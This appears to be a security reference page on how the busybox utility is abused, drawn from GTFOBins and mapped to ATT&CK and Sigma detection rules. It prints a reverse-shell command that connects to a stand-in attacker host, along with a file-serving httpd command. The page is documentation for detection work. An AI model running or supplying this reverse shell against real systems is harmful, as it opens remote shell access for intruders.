Identifier / Programs / Linux and Unix
busybox
A collection of small system utilities in a single executable. Executing busybox via a symlink is equivalent to running busybox symlink_name. Linux distributions that use BusyBox will usually provide symlinks for all programs. tldr-pages
GTFOBins inherit, reverse-shell, upload 2 Sigma rules name it 1 ATT&CK technique 4 documented commands
How busybox is abused
inherit
ash
inherit
cat
reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell
-eupload
httpd
-f-p-hEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for busybox.
4 documented commands
reverse-shell unprivileged, with sudo
busybox nc -e /bin/sh attacker.com 12345Trips 3 Sigma rules: highPotential Netcat Reverse Shell Execution by @d4ns4n_, Nasreddine Bencherchali (Nextron Systems); lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
upload unprivileged, with sudo
This serves files in the local folder via an HTTP server.
busybox httpd -f -p 12345 -h .Trips no Sigma process-creation rule.
1 of the 4 commands the identifier reads trips a Sigma process-creation rule; 3 trip none. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for busybox. The identifier reads the line of each that runs busybox.